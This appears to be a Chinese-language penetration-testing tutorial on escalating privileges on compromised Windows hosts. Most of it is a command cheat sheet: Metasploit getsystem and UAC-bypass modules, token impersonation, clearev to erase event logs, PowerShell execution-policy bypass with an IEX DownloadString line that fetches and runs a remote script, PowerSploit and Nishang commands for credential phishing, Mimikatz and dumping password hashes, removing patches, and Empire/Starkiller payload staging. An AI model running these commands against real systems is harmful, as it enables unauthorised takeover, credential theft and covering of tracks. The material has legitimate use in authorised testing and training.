【Kali 渗透测试】提权
【Kali 渗透测试】提权
·
攻击者获取到目标主机权限后,以此为跳板获取网络内其他主机的权限
一、提权方法
两种提权形式:
- 本地提权:权限低的用户在本地计算机上提升到管理员权限或系统权限
- 远程提权:攻击者将自己在远程主机的低级别权限提升到管理员权限或系统权限
提取之前,需要进行目标主机信息收集,以 windows 为例:
net user
net localgroup Administrators
systeminfo
Windows-Exploit-Suggester 工具
- 获取 windows 漏洞数据库
python2 windows-exploit-suggester.py --upda
- windows 终端输入
systeminfo > win7.txt
- 拷贝文件到 kali
- 运行脚本,工具列出可能造成提权的漏洞
python2 windows-exploit-suggester.py --database 2023-03-30-mssb.xls --systeminfo /root/ win7
二、使用Metasploit框架提权
1. 系统权限
获取 meterpreter 会话后,在会话中执行命令 getsystem,输入命令 getuid 确认会话权限升级为系统权限。
2. UAC 绕过
UAC:user account control ,用户账户控制功能,确保仅在管理员授权下可更改系统设置。
- 通过获取系统权限绕过 UAC
use exploit/windows/local/bypassuac
set session 1
- 通过进程注入绕过 UAC
use exploit/windows/local/ bypassuac_injection
set session 1
exploit
- 其他方法
- exploit/windows/local/bypassuac_fodhelper:通过劫持当前用户注册表中的一个特殊键来绕过UAC,并且插入一个自定义命令。该命令将在启动Windows fodhelper.exe应用程序时调用。
- exploit/windows/local/bypassuac_eventvwr:通过劫持当前用户注册表中的一个特殊键来绕过UAC,并且插入一个自定义命令。该命令将在启动Windows事件查看器时调用。
- exploit/windows/local/bypassuac_comhijack:通过在注册表HKCU中创建COM处理程序来绕过UAC。
- 自动检测可以用来提权的模块
use post/multi/recon/local_exploit_suggester
3. 假冒令牌提权
假冒令牌:冒充网络中另一个用户进行操作
令牌 token:系统的临时密钥,令牌持续存在于系统中,除非系统重新启动
令牌类型:
- 访问令牌:访问控制操作主体的系统对象
- 密保令牌:认证令牌或硬件令牌,用于计算机身份校验的物理设备(U盾)
- 会话令牌:交互会话中唯一的身份标识符
- 委派令牌:交互式会话登陆
use incognito
list_tokens -u
impersonate_token "NT AUTHORITY\SYSTEM # 假冒系统用户
4. RunAs 提权
exploit /windows/local/ask
set session 1
run
clearev # 清除痕迹
三、PowerShell 脚本提权
PowerShell是一种面向对象的自动化引擎和脚本语言,带有交互式命令行shell,且基于.NET Framework构建。由于PowerShell的脚本具有强大的功能,因此可以很灵活地对Windows系统进行管理。
可以运行 .NET 代码并动态运行,无需将代码写入磁盘中即可在内存中运行。
1. 基本用法
powershell 脚本是一个 .ps1 文件,执行策略如下:
- Restricted:默认策略,不允许任何脚本运行。
- AllSigned:只能运行经过数字证书签名的脚本。
- RemoteSigned:运行本地的脚本不需要数字签名,但是运行从网络上下载的脚本就必须要有数字签名。
- Unrestricted:允许所有脚本运行。
set-executionpolicy 策略名称
策略绕过
- 本地权限绕过
powershell.exe–Nop–NonI–Exec Bypass–Command "& {Import-Module脚本路径; 脚本名称}" -noexit
- 下载远程脚本绕过
IEX (New-Object Net.WebClient).DownloadString ("脚本地址")
关闭安全警告
Set- ExecutionPolicy-ExecutionPolicy Bypass-Scope Process # powershell2.0
$Env:PSModulePath.Split(';') | % { if ( Test-Path (Join- Path $_ PowerSploit) ) {Get-ChildItem $_ -Recurse | Unblock-File} } # powershell3.0
2. PowerSploit 工具提权
Import- Module下载目录\powersploit\Privesc\Privesc.psd1
Invoke-PrivescAudit -Format HTML
- 调用服务
- 使用预编译的可执行文件
# 假冒令牌
Get-System
# 模拟另一个登陆用户的令牌
Invoke-TokenManipulation -CreateProcess "cmd.exe" -Username "nt authority\ system
3. Nishang 提权
apt-get install nishang
Import-Module下载目录\ nishang\nishang.psm1
# 绕过 uac
Invoke-PsUACme -Verbose
# 复制访问令牌
Enable-DuplicateToken
ls hklm:\security
Get-Information
Check-VM
# 获取目标主机账号密码
Invoke-CredentialsPhish
# 列出登陆凭据
Invoke-Mimikatz
Get-PassHashes
# 删除指定补丁
Remove-Update 指定补丁编号
四、StarKiller 后渗透框架
Powershell Empire的前端应用程序,基于 Powershell 构建的后渗透测试框架。
1. 基础使用
- 安装
apt-get install starkiller
- 开启
powershell- empire server --username=用户名 --password=密码
- 配置监听器
listeners —— create —— 填写信息 —— 提交 - 创建 payload
stagers —— new stager —— create - 上传 payload 到目标主机,并运行
- 获取代理会话
agents —— actions —— view
2. 提权
- 绕过 uac
Techniques 中输入 bypassuac
powershell/ privesc/getsystem
-
windows 溢出漏洞
使用 MS16-032 和 MS16-135 模块 -
RunAS 提权 powershell/privesc/ask
-
提权辅助模块 powershell/privesc/sherlock
更多推荐
所有评论(0)